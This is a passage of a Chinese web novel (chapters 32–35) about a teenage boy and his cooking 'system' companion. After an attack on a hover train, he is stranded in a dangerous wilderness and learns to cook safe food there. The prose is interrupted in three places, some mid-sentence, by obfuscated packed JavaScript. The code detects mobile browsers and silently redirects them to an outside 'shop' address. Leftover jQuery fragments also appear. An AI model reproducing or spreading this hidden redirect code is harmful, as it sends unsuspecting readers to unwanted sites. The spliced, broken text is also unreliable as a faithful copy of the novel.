楼下,被扈可为揽住肩膀的陆燃竹似有所感地抬头,他看着在晚霞下染上红晕的觉醒协会。 风暴状的建筑依旧和第一次见时一样。 可这次来的他,和之前不同了。 “宿主,我们要去上学了吗?” “对,我们要去上学了。” 陆燃竹笑得明媚地回道。 夕阳下,少年少女们打闹走向远方。 阴影中,逆潮的眼睛缓缓睁开。 32. 第 32 章 第32章 似乎经历过大事之后,时光的流逝总是会格外地快。 又一个大晴天,习惯早起的卷发少年换上了单衣,天气转暖,他单衣外只套了一件紫色的马甲。 位于过渡区的小小房间今天迎来了它的清洁日。 已经决定参与下半年的觉醒学院统考,少年打算提前到中央联盟去。5000觉醒积分换来的手头宽裕,他现在根本不用担心学费和生活的问题。 一切都在转好。 狭小的房间内,陆燃竹抽出放置床底的大箱子,太久没开,箱子在被拖出来的那一刻扬尘漫天飞。 “咳咳。” 他轻咳几声,在金勺勺的催促声下掀开陈旧的箱盖。 “都是些小物品,没有什么可好奇的。” “说不准有漏网之鱼呢!宿主你可别忘了那坨黑泥!红级食材欸!” “不是残损的嘛?” “那也是红级!” 延迟检测的结果,最后还是被照常清点库存的金勺勺发现了。因着红级的闪光名头,一人一统花费一个下午剔除那些杂质,最后发现,那“残损红级食材”就是一颗表面有裂痕的种子。 不到指盖大小,中间那裂痕几乎要把种子劈成两半。 看起来根本没有能种活的可能。 而自那之后,美食开拓系统就不放过任何疑似“垃圾”的东西,每回都要用探测功能好好检测一下。 疑神疑鬼的态度,让陆燃竹无语又无奈。 床底箱子内的东西都是陆燃竹当初在孤儿院的旧物,即打算提前离开,临时租的地方也要退租了。看着那一件件被擦得干净的物品,陆燃竹眼神里满是怀念。 申传奇奖赏的积分中有一部分被换成了觉醒币捐赠给了纱巾孤儿院,因这事,前两天少年还被院长喊回去了一趟。 年迈的院长早就没昔日骂人的精力,看着渐渐长成的少年,她也只是拉着手低声念叨。 “读书好,小燃竹啊,往远处飞去吧。” “要平安啊。” 熟悉的叮嘱,陆燃竹在离开孤儿院的时候听过一次,如今又听了一次。 少年摸着箱子里面一件件旧物,小心地拿出来包着包裹里面。 看出宿主的珍重,金勺勺也安静地守在一旁。 等箱底慢慢清空,放在角落里的一块手帕也映入一人一统的眼底。看着那块边缘发黄的手帕,陆燃竹手一顿。 手帕看起来有些年份了,素白的帕子,只有在右下角处绣星星的图案。 一共七颗,环绕在一起,组成了一个类似图腾的存在。 这是陆燃竹当年被孤儿院院长捡到时,与其一起的物件,也是关于他身世的唯一线索。而这个图腾,少年也调查多年,并没有在任何图书和资料库中找到它的痕迹。它就像当初少年调查自己种族的时候一样,成了一个解不开的谜团。 看着它,陆燃竹突然把先前秘书转交给他的那封信拿出来。 干净的信封之下,是一张只有两行字的信纸。 “中横川联盟图书馆,骆俊坤。” “你要的答案,在他那。” 寥寥几字,那位仍在闭关中的圣言传奇似乎也看出自己对自身种族的在意,给出了线索。 陆燃竹把那张信纸和手帕放在一起,低垂的眉眼下跃动着几分沉思。他原先已放弃了寻找手帕秘密的打算,毕竟生存的需求摆在明面上,一个毫无线索的手帕他没有办法,也没有精力去探寻背后的真相。 更何况,撇去它,他也生活得很好。 可现在,探寻的线索机缘巧合地被送到他手里,似乎在喊着,让他继续寻找那个幼时在意的东西。 他该去吗? 陆燃竹不知道。 手帕和信件最后被收在了一起,等房间逐渐变得空荡荡,所有陆燃竹生存过的痕迹也一一被少年抹除。 满满当当的家当化成一个个包裹图标被金勺勺小心地收纳,陆燃竹最后站在门口,和来时一样,关上了那扇锈迹斑斑的门。 哐当,是门合上的声音。 滴滴答,而是好友传来信息的声音。 “燃竹!悬浮车站见啊!” 低头看着扈可为传来的信息,卷发少年突然笑了,他笑得很灿烂,伴随着金勺勺放着的不知名欢快曲子,少年稳稳地,一步步离开这片他生活多年的土地。 泗黑崖悬浮车站处,早早就到了的扈可为神采飞扬。 他眼神时不时飘向进站口,也不忘与视频另一边的沉尧说着话。 沉尧他们刚刚结束最后一轮毕业考核的笔试,被复习折磨多时的半长发男生脸上难掩憔悴,他在视频另一端打了个呵欠。 沉尧坏笑道:“所以,小陆收到东西的时候是什么表情?” 闻言,扈可为哀怨地看着自家学长。 “学长你们太精了,把东西给我之后就一走了之,留我和燃竹像拿到烫手山芋一样。” “因这件事,燃竹还以为我跟你们是一伙的,好几天不太理睬我。” 沉尧捧腹大笑:“这不也是没办法,小陆脸皮薄,我们直接给的话,他肯定推辞说不要。没有办法,也只能交给你来处理了。” “可你们也没有提前告诉我!” “你要是知道,那计划还怎么进行?要怪的话,你去怪靳洲好了,他率先提出的主意。” 扈可为语塞,他哪敢啊。 两人所说的,是当初约定好的,要给陆燃竹的报酬。因着恩泽碑的事情,找到石块的报酬被少年推辞。卷发少年给的理由是恩泽碑事件中靳洲他们对他的照顾已经远远足够了。可靳洲几人那肯啊,那都是举手之劳。 再说了,没有少年,积分和防护徽章都没他们的份。 这不,由靳洲起头,小队三人在陆燃竹还被留在治疗中心那段时间里,给少年准备了一个灾兽大礼包。 上至领主级,下至学徒级,各种属性各种类型的灾兽都集齐了。 沉尧和诸墨那段时间没少被靳洲精益求精的态度弄得头疼,但想到卷发少年接收到后可能出现的表情,他们也就甘之如饴了。 都是举手之劳,更何况,主力是靳洲。 可惜,他们因为毕业考核的事情只能提前离开泗黑崖,不然必要亲眼看看少年被逗得脸红的场面。 “对了,你们到的时候应该刚好是晚上,到时候我去接你们,好好给小陆接接风。” 听到这,扈可为突然压低声音问:“学长,靳学长和诸学姐他们真去了?” “当然,不巧也是今天,这不是什么秘密,你也不必这么谨慎。” 半个月前,联盟突然发布了公告,征召25岁以下的杰出觉醒者前往黄昏沼泽,去探查那突然出现的神秘高塔。这消息一出,整个联盟都议论纷纷。随着恩泽碑部分信息的公开,近期觉醒联盟的讨论话题都聚集在第二次剧变和恩泽碑的事情上。 泗黑崖,以及最近南部联盟出现的第二块恩泽碑甚至都成了觉醒者聚集的中心。 现在人人都知道恩泽碑附近是觉醒者的修炼圣地。 神秘高塔的讯息一出,更是被人传为宝地。然而名额有限能者居上,沉尧原本也想去凑凑热闹,可天才太多他一下又歇了心思。 “我们学院去的就靳洲、诸墨和腾珩一三个,他们昨晚就已经出发了,按时间和路程算,现在应该都已经到黄昏沼泽了。” 征召队去得匆忙,选拔赛和出发日期几乎是连着来的,沉尧昨晚才送自己两位天才队友上了悬浮客车,今天又迎来自己两位小弟。 这让怕孤独的他很满意。 扈可为也很高兴,他正想和沉尧聊聊这次征召队去的人选,眼角余光便瞥见好友熟悉的身影。 卷发少年一身休闲装扮,突出的气质和身段一眼就瞥见了。 而没等扈可为嘴角笑容扬起,又有三个人影突然拦截在少年面前。 中间人半侧过来的脸,让他一眼便认出来那人的身份。 那是千千古物屋的老板。 对于千戈的到来,陆燃竹也很是惊喜。 “千哥,你怎么来了?” “你要走了,我不来送送说不过去吧。” 千戈笑着拍拍少年的肩膀,“你一走以后委托一多可就没人来救急了。” 闻言,陆燃竹笑了笑,要离开的消息他已经提前和千戈说过了,男人听闻信息还特地跑到他租的地方来问,得知只是想去上学才放下心。 只是他没想过,离开这天,男人还特地来送。 “对了,他们有话跟你说。”千戈这次来也不止是送陆燃竹一程,他推了推左右两人的后背,把人推搡到少年身前。 跟着他来的自然是何斛和谷添。 与上次见面相比,两人的气质截然不同。陆燃竹看着那两张褪去阴戾和浮躁的脸,有些不明白他们的来意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338409|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可何斛和谷添很清楚,他们两人相视一眼,忽然齐齐向少年九十度鞠躬。 “我们是为我们之前做的蠢事道歉的。” “以及,为你当初救我们的事情表达谢意。” 何斛和谷添说得真诚,这两句话他们早就想说了,可少年从那件事之后就鲜少去千千古物屋,他们也没有脸面去他住的地方找他。 这次能亲口道歉和道歉的机会,也是他们偶然得知后悄悄尾随千戈来的。 “……” 陆燃竹倒是没想到会再次见到他们。 “燃竹,随着你的心意来。反正他们都要为他们做过的事情负责的。” 千戈立场摆明,见那两人还直挺挺地在那里鞠躬,伸手就把他们拽回来。 “我来呢,就是祝你一路顺风的。”他说着还指向后方那个正气势汹汹往这边走过来的人。 “别让你朋友等急了。” 他侧过身子,陆燃竹才看到往这边走过来的好友,下意识地上前了几步,他回过身看着和蔼笑着的千戈。 “千哥,谢谢你。” “说这些干什么,赶紧去吧。” 千戈摆摆手,站在身后的两人却羞愧地低下头。 少年从始至终都没跟他们说过一句话。 而站在原地看着陆燃竹和扈可为渐渐远去的背影,内心感慨万千的千戈却突然收到少年的信息。 他看着那寥寥几字,长长地叹了口气。 “你啊……还是心软。” 另一边,还想和何斛掰头一番的扈可为被陆燃竹拦了下来,少年把好友调转了个身:“去哪啊?班车时间快到了。” “不……我……” 扈可为不死心地扭头。 “走啦走啦,你不是说早上车还不用挤吗?”陆燃竹知道扈可为的性子,但都决定朝前看了,他就不会回头。 浪费口舌更没有必要。 他一手飞快摁着信息,一手拽着人朝登车口走。 见少年决意不理,气愤的扈可为只好作罢。他那几句话在嘴里转了一圈,最后还是没有说出口。 “好吧,学长说要为我们接风洗尘,我们晚上到的时候他来接我们。” “不会太麻烦他了吧。” “哪会,他现在闲得很。靳学长和诸学姐都不在中横川了,他就指望我们俩能跟他说话呢。” “……那我把我们的预计到达时间发给他。” “这就对了嘛!” 两人一路走到前往中横川的登车口,登车口开启时,他们正好排在第一个。 车站内广播一个接一个,陆燃竹跟着工作人员的指示把身份证件拿出来。 笑容灿烂的女性工作人员站在柜台后,美艳的脸上满满都是近人的亲切,确认信息无误,她双手归还证件,语气轻缓低沉:“信息无误,祝您旅途愉快。” 她甚至亲自帮陆燃竹把登车口的门打开,涂着红指甲的手稳稳握住门把手的同时,十分标准地做了一个请的动作。 如此妥帖的举动,让第一次坐车的陆燃竹莫名有些紧张。 其身后的扈可为见状也竖起大拇指。 “真贴心。” 温馨妥帖的服务像是隐隐代表此次旅途的顺畅。 跟在陆燃竹他们身后进入登车通道的乘客们脸上无一不带着笑容。 美艳的工作人员在其进入后背手关上通道大门,她笑得婀娜多情。而在没人看见的角落里,那被整洁工作制服掩盖的躯体上,一抹猩红的图腾悄悄浮现。 当那急促的铃声响起时,沉尧正哼着曲子仔细梳理着自己的头发。 骤然的提醒声,让他吓了一跳,手抖差点抹多了发胶。 “谁发的信息?” 不耐烦的男生皱着眉伸手去拿,却在看清信息内容的时候手猛然一抖。 咔嚓两声,通讯器滚落在地,连同沉尧心爱的发胶瓶也掉落在桌面上。 误触让信息被投影在半空。 【紧急新闻!泗黑崖突遇逆潮会传奇级人物袭击,金豪申定启动全市紧急事态!】 【紧急新闻!泗黑崖车站中心遇袭,几列前往中横川的悬浮列车陷入逆潮会控制之中!】 【紧急新闻!进入神秘高塔的联盟征召队突然失去信号,护魂殿灵光闪烁,天才之师恐性命在忧!】 …… 急促的红光还在闪,沉尧的脸色却惨白得吓人。 33. 第 33 章 第33章 【觉醒历3018年4月7日10点20分,昨日突遇袭击的泗黑崖已正式解除紧急事态状态。经初步核实,截至到10点10分,泗黑崖遇袭事故已造成20人死亡,10人失踪,856人受伤,其中失踪人员恐被卷入时空暗流,而受伤人员均已送往中横川治疗中心进行治疗。】 【觉醒历3018年4月7日10点21分,泗黑崖官方正式发布公告,针对4月6日逆潮会袭击一事做出总结。成功击退逆潮会的金豪传奇申定表示,未能及时识破逆潮会阴谋,是他的领导失误,对于在此次事故中的遇难者和受害者,他十分惭愧。据悉,逆潮会原本的袭击目标是位于可控区813的一号恩泽碑,对泗黑崖的突然发难是转移目的之举……】 【有专家表示,人无完人,申传奇对一号恩泽碑的防护措施成功阻止了逆潮会意图掠夺的阴谋,联盟应需进一步围剿逆潮会的势力,不可让其继续发展壮大。】 【觉醒历3018年4月7日10点21分,联盟正式发布公告,针对前往黄昏沼泽探查神秘高塔的征召队突然断联一事做出解释。公告表示,断联一事属于不可抗力,护魂殿内众成员的魂魄灵光并未熄灭,并没有出现人员伤亡的现象。】 【有人提出质疑,灵光未熄不代表人员安全。】 中横川治疗中心高级病房区。 509房外的走廊内,已一天一夜未阖眼的沉尧靠在墙面上,耳边的新闻声清晰刺耳,灯光映在他憔悴的脸上,照得那眼下的青黑格外沉重。 扈可安从病房内出来的时候,看到的便是他这满身颓然的样子。 男生手里握着的通讯器还在播报着新闻,有泗黑崖的,也有黄昏沼泽的。 “喂,沉尧。” 与扈可为极为相似的女生上前轻轻推了下男生,语气中难掩担忧。 “啊,是你啊。”沉尧回过神,他看着扈可安,嘴角扯了扯,又用力搓了下脸。 “可为怎么样?” “放心,他伤势不严重,多亏申传奇的防护徽章,只是暂时昏迷,治疗师说大概下午就能醒。” 扈可安是今早到达中横川的,来的时候,沉尧就已经守在自家弟弟的病房外了。她还是第一次看到男生如此消沉的状态。 “那就好。” 他回完这句话,又不说话了。扈可安也没有。 两人脸上带着一致的忧愁,除去对扈可为的伤势,还有对靳洲他们。沉尧担心靳洲和诸墨,扈可安则是担忧先前被她吐槽过的甄凛然。 扈可安犹豫地开口:“沉尧,我老师说了,护魂殿那边已经在加强与征召队成员的灵魂联系,或许很快就有消息……” “嗯……”沉尧低声应道,他心很乱,乱得喉头发堵,他当然担心自己那两个队友,可现在摆在他面前的,还有另一件事情。 “可安……我不知道在可为醒后我该怎么跟他说……”男生揪着自己胸口的布料,眼神痛苦,“我不知道该怎么跟他说,小陆失踪的事情。” “我跟他们说好的,要给他们接风洗尘的。” “可到头来……” 一个受伤,一个失踪。 20人的失踪名单内,年纪最小的陆燃竹赫然在列。 他才十三岁,他是要来上学的。 沉尧语气哽咽,眼眶通红地看着洁白的地面。 扈可安听着他哽咽的声音,眼眶一下就红了。她哪里不知道自家弟弟有多高兴能认识那个叫陆燃竹的少年。从去到泗黑崖,那小子跟自己的聊天就离不开自己的朋友。就连昨天,他给自己发的最后一条信息还是和卷发少年的合影。 “姐!我跟燃竹出发了!到时候你来中横川和我们见一面呗!” 她弟弟,第一次拥有这么合拍的朋友。 沉默和悲伤在两人之间蔓延开,她们都不知道该怎么和醒来的扈可为开口。然而扈可为醒来的速度要比她们想象中的快,当病房内提示病人情况的仪器发出声响时,沉尧和扈可安连忙收敛情绪走进病房。 一进去,两人面对的不是刚刚苏醒的扈可为。 而是笑得无比难看的扈可为。 包裹着绷带的男生惨白着脸坐在病床上,他握着手里的通讯器,抬头看他们的眼神脆弱得仿佛一触就碎。 扈可安和沉尧呼吸一窒,后她们听见他说—— “姐,学长,我把燃竹弄丢了。” 他把,他的好朋友弄丢了。 …… 当黑暗袭来的那一刻,陆燃竹再度感慨命运的无常。 袭击来得很突然,从列车被挟持到时空缝隙吞噬半辆悬浮列车的时间,不过三十秒。 那名美艳的工作人员骤然发动的攻击,把整座列车化成了炼狱。 陆燃竹只记得耳边满是哭喊声,他勉强拽着摇摇欲坠的列车车壁,在另一头,是扈可为满脸鲜血的脸。 男生坐的位置离那名工作人员最近,当防护徽章起作用的时候,他遭受了第一波冲击,致命的伤害被化解,第二波冲击力却无法避免,他晕了过去。 再之后,是裹夹着时空乱流的时空缝隙,陆燃竹只来得及把好友绑在仅存的座椅之上,随后就被第三波冲击扫出了列车之外。 而在那之后的细节,清晰到令人发指。 陆燃竹记得自己手上的鲜血滑到抓不住发烫的车壁,记得金勺勺哭喊着让自己再坚持一下,记得当手指的皮肉分离,他坠入虚空。 腾空的那瞬间,他注视着澄净的蓝天,突然觉得,这或许才是对的。 耳边风声猎猎,无数碎片跟随着自己下坠。 绝望的哀嚎从上方袭来,少年看着那仿佛触手可及的蓝天,在黑暗吞噬自己的前夕,一股庆幸从心底迸发。 幼时与院长的谈话突兀地涌现在脑海里。 “他们说,被人抛弃其实是因为我们是灾星,会给其他人带来厄运,这是对的吗?” “对什么对,错的!” 可院长…… 好像,并不是错的。 深不见底的时空缝隙安静得骇人,当头顶的天光越来越远时,被金勺勺捶到发裂的系统准则终于裂开了一条缝。 【检测宿主面临致命危机,应系统965748号的强烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338410|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求,现开启临时保护条例!】 【检测名为“防护徽章”的坚固载体,调动系统紧急能源临时进行充能!】 【嘀——能源不足,开始启动经验能量。】 金勺勺从绑定开始就一直念叨的保护条例终于露出了真面目,耀眼的金光从少年腰间的徽章射出。 一时间,光芒如同深渊的烈阳,牢牢包裹住卷发少年。 陆燃竹还没反应过来到底发生了什么事情,就感到眼前一亮又一黑,随后,深不见底的深渊和无序的时空乱流消失不见,取而代之的,是万米高空。 开阔的视野出现在面前时,他连忙掉转身体。看着底下连绵的山脉和茂密的森林,陆燃竹下意识慌乱地扑腾了一下。 “怎么回事!勺……” 他话还没说出口,环绕周身的金光突然消失。 高空的寒意和狂风袭来那一刻,陆燃竹只来得及闭上自己的嘴。 随后,开始自由落体。 金勺勺:“啊啊啊啊!” 它的宿主啊! 下坠的速度很快,快到内置程序那有些“冗长”的播报结束的那一刻,陆燃竹距离地面只有一米。 金勺勺只来得及一个大喘气,就看到它的宿主堪称狼狈地,啪唧一下摔到了坚实的地面。 少年猛抬起头,他一头卷发化成了冲天炮。 “宿主,没事吧?” 陆燃竹皱眉感受下身体的情况,后道:“我没事。” 只是他没想到自己居然还能绝处逢生。少年扶着一旁粗壮的树干缓缓起身,他看着周围的环境,视线在触及头顶五十米处的树冠时身体猛然一颤。 不详的预感顿时从脊背弥漫至后颈。 他闭上眼再睁开,熟悉的荧光带着星碎染上那双紫宝石。 在颜色世界如往常般展开的同时,他浑身如坠冰窟。 “勺勺,你知道我们在哪里吗?” “在哪里?应该还在泗黑崖附近吧……” 美食开拓系统犹豫地说着,它娴熟地接入佩戴在宿主手腕处的觉醒腕表,可本该信号满格的界面,此刻却是灰暗一片。 “脱离信号覆盖区域。” 鲜红的字眼漂浮在界面之上。 无信号。 以及,遍地都是刺眼鲜红的危险红色。 恍惚中,金勺勺听见宿主哑着嗓子说—— “勺勺,我们好像来到了,未知区。” 未知区,完全脱离觉醒联盟掌控的区域。传说那里到处遍布逆觉醒流,各大等级的灾兽混杂生存,连同生态环境也要比可控区更加复杂和危险。 那曾是陆燃竹在启蒙书看到的世界。 而现在,他和金勺勺,就在其中。 吼—— 陌生的吼叫从森林深处传来。 树叶在头顶簌簌振响,从未见过的灾兽类型从头顶一跃而过。 陆燃竹艰难地吞下口水。 此时此刻,他只有一个想法。 他该如何,在一个脚边的草都比自己强的区域内活下去,同时还能找到回到觉醒联盟的路。 34. 第 34 章 第34章 未知区的天气,是无常的。 陆燃竹前脚还光着膀子踩蘑菇,后脚不讲理的倾盆大雨说来就来。迅猛的雨滴砸在身上又急又疼,他举起掉落的树皮挡雨,放弃了继续采摘的念头。 等折返回临时的树洞住处,他才甩甩头发上的水滴,用放在一旁的干净毛巾把身上擦干。 擦干身体,少年爬到高处拿起那破旧的净化器,小心地把里面的水倒到锅里煮沸。 这是他这段时期的水分来源。 他和金勺勺已经在未知区生活了半个多月了。 在这半个多月内,他们躲避灾兽,寻找安全的临时住所,还收集那些被腐蚀到一半的仪器。 或许是绝处逢生,陆燃竹的运气好转了一点。 原本想着收拾去中横川的家当,成了他在野外生活的重要物资,干净的衣物,几件旧家具,连同那前段时间打折买的大批能量块和调味料,都成了救命的口粮。 也好在,这片无人生存的区域内,还留存着前人迁徙的足迹。 有还能用的净化器、也有毁了一半的稳定器。 几十、或者是百年前冒险者留下的遗产,都被陆燃竹捡回来研究。再加上金勺勺的帮助,他最急需的水分问题暂时得到了解决。 陆燃竹轻车熟路地生火煮水,还把身上被淋湿的衣物脱在一旁烤火。在他的周围,并不狭小的树洞空间被他有序分为了几个区域。 靠近洞口的地方是收捡区,那里积攒的都是近期收集的破旧物件;在它的对面则是材料收集区,陆燃竹刚刚捡的蘑菇都放在那里。 而更深的地方则是生活区。少年趁天气好收集了些干草和树枝,垒在一起铺上床单成了夜晚休息的地方,距离“床”两米处就是留有余火的篝火,保暖和煮沸被净化后的淡水。 喝下热乎乎的热水,陆燃竹被反复天气折腾的身体慢慢放松下来。 他下意识想从背包里拿出能量块,但看到余量又收回了手。 半个多月的时间,他成功在灾兽围绕中活了下来,也解决了水源的问题,可还有一件事情没有解决,那便是食物。 未知区的一切都充斥着逆觉醒流,尽管陆燃竹能适应逆觉醒流,但也不能直接摄入未净化过的食物。 那个残破的净化器也只能勉强净化小部分的水。 如果再不能找到自己能吃的食物,在能量块吃完之后,他就会饿死。 而为此,陆燃竹和金勺勺这半个月来没少折腾。 “宿主,第二百一十次计算结果我赶出来了,我们要再试一次吗?” 金勺勺问道。因为保护条例,他们早先升到二十五级的经验值如今都归零,不仅如此,甚至还倒扣。虽然没有回收掉已经解锁的功能,但要想重回二十五级,需要很长一段时间了。 金勺勺这段时间为替宿主节省能源,开启了暂时休眠模式,平日里有一半时间在休眠,另一半时间在计算料理方案。 “嗯。” 陆燃竹点点头,他拿出事先备好的一部分吊瓶菇开始清理,那双紫眸在昏暗的树洞中散发荧光。 食材上的逆觉醒流是流动的灰色游丝。经历恩泽碑那件事情之后,陆燃竹能看到的东西更加细致,连同附着在空气、灾兽和环境中的逆觉醒流也能看见。 看得见,自然也能看见其的变化。 先前陆燃竹与金勺勺说过,费斯拉大陆的美食文化贫瘠这一问题。贫瘠,但不是没有。觉醒者所觉醒的天赋千变万化,自然也会有跟美食烹饪相关的天赋类型。 据说在东部联盟那边,还有一座闻名的美食都市,在那里聚集着无数以美食为生的研究者,他们毕生所学都在研究美食这一门学问。 陆燃竹在和扈可为他们认识后也听说有些觉醒科技天赋的觉醒者正在研究培育觉醒作物的方法。在一些觉醒学院里面,还有专门的培育温室。 而针对食材中逆觉醒流的处理方法,陆燃竹没有净化的天赋,只能研究平衡之道。 即借助各个食材内部的能量制衡,使菜肴在烹制过程中互相抵消逆觉醒流,从而达到可食用的标准。 陆燃竹眼睛的天赋能够看到烹饪过程中的能量变化,在这一点是十足的助力。而作为美食开拓系统的金勺勺更是美食的行家。 这条路并没有不能走的道理。 这……原本也是他们准备在中横川进行的尝试,金勺勺甚至都说要以此在学院内部摆摊,重现它当初的经营之道。 可现在,却成了迫在眉睫,事关生死存亡的必要尝试。 为此,从意识到食物紧缺的那天开始,陆燃竹和金勺勺就在死磕。 他们选择这附近最容易获得的食材,绿级食材吊瓶菇,巴掌大的蘑菇,每次用一小片的话,能用很多次。 陆燃竹用眼睛记录烹饪过程的能量变化,金勺勺则分析给出最优的调整方案。 “那就第二百一十二次尝试开始!我看看啊……首先是,把沸开的水冷却到80摄氏度,然后把吊瓶菇丢进去,焯水50秒。” “然后沥干水分,将蹦蹦山蛙脂肪炼化的油提升到200摄氏度,开始干煸,预计21秒……” 精确到秒的烹饪过程,陆燃竹在既往失败的二百一十一次中早已非常熟练。少年稳稳地跟着金勺勺的指令走,同时反馈每分每秒自己视野中逆觉醒流的变化过程。 对陆燃竹来说,虽然外面非常危险,但自身的灾兽储量非常充足。靳洲他们三人送的灾兽大礼包他一直没动,本想到了中横川再好好利用,却没想到成为了现在的“救济粮”。 在前几天,他和金勺勺还开启了一项大工程,把里面灾兽统统进行拆解,能炼油的炼油,肉的质量按紧实程度做了个分类,有毒的也挑了出来。拆拆捡捡,被判定能吃的好好保存,不能吃的统统塞到一格里面。 陆燃竹紧盯着那淡褐色菇片在锅底的变化,在21秒时果断把菇片转移。他看着那菇片上的灰色逆觉醒流含量,仔细观察一会后还是摇了摇头。 金勺勺忐忑:“还是不行吗?” “嗯,差一点点。” 陆燃竹拿来衡量能不能吃的标准,是切成大概大小的能量块。通过观察其内部的逆觉醒流含量来判断。 没办法,条件有限,只能粗糙着来。 而对于这个结果,金勺勺倒也不至于太过失望。作为美食开拓系统的它能计算味型、熟度,甚至能提供无数个关于吊瓶菇的菜谱,就是无法判断料理逆觉醒流的含量。 只能和宿主的天赋配合,在每一个步骤中测试出逆觉醒流含量最少的标准。 试过了水温,调整了油温,也改过菇片厚度,现在能改的便是干煸的时间以及最后调味料的配比。 “那就试试22秒,但不能超过30秒,不然就老了。” 金勺勺有自己的坚持,虽然他们追求的是能吃,但也不能太难吃。 “再来吧。” 陆燃竹不缺耐心,对现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338411|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的他来说,时间反倒成了最充裕的。 窗外的雨声潺潺,偶尔还有灾兽奔跑过的响声。 被捆满了迷雾藤的树洞内,少年自言自语的嘀咕成了油锅外的唯一响声。 “二百一十五次……不行。” “二百二十次,干煸的时间够了,可调味料一下含量又变了。” “二百二十二次……” “不行。” “二百三十……” “二百七十五次,不……嗯?” “好像行了。” 从天亮试到天黑,经历二百七十五次尝试,这道“干煸酸辣吊瓶菇”终于终于达到了能吃的标准。 陆燃竹闻着已经麻木的香味,看着那趋向平衡的逆觉醒流,一时有些不敢相信成功了这个事实。 金勺勺也不可置信:“真假?宿主你确定能吃吗?” “应该。” 少年小心用筷子挑起一片,凑到鼻尖闻了闻。 见这场面,金勺勺倒开始犹豫起来:“宿主,要不算了,我们再试一试……” 可没等它把话说完,少年已经把菇片送进了嘴里。 入口的那瞬间,陆燃竹咀嚼的动作一顿,他迟疑了一下,随后加速了动作。金勺勺只能眼睁睁看着自家宿主手指舞得飞快,不到三十秒,一小盆全被宿主炫到了肚子里。 “宿主怎么样啊?” 指导人做过无数美食的金勺勺莫名忐忑起来。 而陆燃竹眼睛亮晶晶的,他不好意思地舔舔嘴巴。 “好吃,勺勺。真好吃,我从没吃过这么好吃的东西。” “身体呢?有没有哪里麻麻的?肚子会不会疼?” “没有,就是不太够。” 少年看着周围积攒成一盆的“失败品”,眼神里闪过一丝惋惜。突然觉得把这些当成给灾兽的陷阱,有些浪费了。 原来以前那些被自己坑骗的灾兽,在临死前吃这么好。 真可惜。 飞快转变思维的卷发少年遗憾地叹了口气,而见宿主难得孩子气的模样,金勺勺顿时像老父亲一样心头暖暖,它慈爱地说,“做,我们做很多很多份,然后存起来!” “好。” 陆燃竹笑了起来,他笑得眼睛眯起来,并不干净的脸上,两个酒窝恰到好处,散发着宛若冬日暖阳的暖意。 只是…… 纵容的结果……便是背包内高达30储量的“干煸酸辣吊瓶菇”。少年吃到一半就不吃了,统统都存起来,留给后面的口粮。 躺在发潮的床上,陆燃竹看着头顶破了一角的树洞,透过那还在渗雨的洞口,看着漫天的星星眨了眨眼。 他突然觉得在未知区的生活,也并不是只有难熬两字。 树洞内属于“干煸酸辣吊瓶菇”的香味还没散尽,少年在月光下张开自己粗糙的手,随后默默蜷缩成一团。 “如果,可为他们也能吃到就好了。” 他们肯定,也会很高兴的。 月亮高升,当少年握着枕头旁侧的砍骨刀陷入平缓的呼吸时,一根淡绿色的藤条悄悄地从破洞处探入。 藤条无声地挪动到空旷的树洞中,它没有奔向洞内唯一的活物,而是目标精准地绕过还有余火的火堆,伸向了还未被收拾的餐盘。 宛若偷食的洞鼠,悄无声息地偷走那图案漂亮的餐盘。 而正巧开始站岗,又正巧目睹一切的金勺勺:…… 忒!小贼! 35. 第 35 章 第35章 “你是说……有一根藤曼偷了我们没洗的餐盘?” 被金勺勺喊起来,陆燃竹披着被子蹲在篝火旁。脑里的金勺勺还在绘声绘色地描绘着它看到的整个作案过程。 金勺勺笃定:“没错!淡绿色的,它直接卷着就跑,还把筷子都顺走了!” “半点都没有看我的迹象?” “没有,它拿了就跑。” 闻言,盯着案发现场的陆燃竹敛眉思索,他抬头看了眼还透着月光的洞口,有些不解。 按道理,是灾兽的话,能避开门口的迷雾藤还能准确地找到进入树洞的缺口,它的目标应该是他这个树洞内唯一的活物。 怎么就只偷了个餐盘,还是个没洗的餐盘。 更何况还要躲着自己,为什么?这附近的灾兽最低也是精英级,单一个拎出来都能让陆燃竹吃一壶的了,这般小心翼翼完全没有必要。 好奇怪…… 少年理不清那个小偷的逻辑。 金勺勺也不理解,美食开拓系统原先还好好保存那个餐盘的。 毕竟那是宿主第一次成功烹饪出“能吃”的纪念,它是打算和之前的第一次一样留存在系统空间的!那曾想来了个拦路藤! 啊啊啊它好生气! 金勺勺在生气,而陆燃竹已经在开始收拾东西。 管那个小偷到底是不是灾兽,这个树洞也不能再待了。 